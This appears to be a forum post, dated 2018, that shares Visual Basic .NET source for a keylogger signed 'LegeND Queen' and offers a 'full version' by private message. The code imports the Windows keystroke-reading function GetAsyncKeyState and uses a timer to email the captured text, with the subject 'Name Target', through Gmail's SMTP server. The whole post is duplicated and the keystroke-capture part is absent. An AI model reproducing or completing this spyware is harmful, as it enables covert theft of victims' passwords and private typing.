12-23-2018, 07:48 AM
Option Strict On
Imports System.Net.Mail
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short
Private Sub TimerEmail_Tick(ByVal sender As Object, ByVal e As EventArgs) Handles Timer1.Tick
Try
Dim smtpserver As New SmtpClient
smtpserver.EnableSsl = True
smtpserver.Credentials = New Net.NetworkCredential("your email", "your password email ")
smtpserver.Port = 587
smtpserver.Host = "smtp.gmail.com"
Dim mail As New MailMessage
mail = New MailMessage
mail.From = New MailAddress("your email", "key Logger")
mail.To.Add("your email")
mail.Subject = ("Name Target")
mail.Body = TextBox1.Text
smtpserver.Send(mail)
Catch ex As Exception
Me.Close()
End Try
End Sub
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
get full version PM
to test this program you have to make use of VM
Imports System.Net.Mail
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short
Private Sub TimerEmail_Tick(ByVal sender As Object, ByVal e As EventArgs) Handles Timer1.Tick
Try
Dim smtpserver As New SmtpClient
smtpserver.EnableSsl = True
smtpserver.Credentials = New Net.NetworkCredential("your email", "your password email ")
smtpserver.Port = 587
smtpserver.Host = "smtp.gmail.com"
Dim mail As New MailMessage
mail = New MailMessage
mail.From = New MailAddress("your email", "key Logger")
mail.To.Add("your email")
mail.Subject = ("Name Target")
mail.Body = TextBox1.Text
smtpserver.Send(mail)
Catch ex As Exception
Me.Close()
End Try
End Sub
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
'KeyLoGGer By LegeND Queen' 'Kirkuk <3'
get full version PM
to test this program you have to make use of VM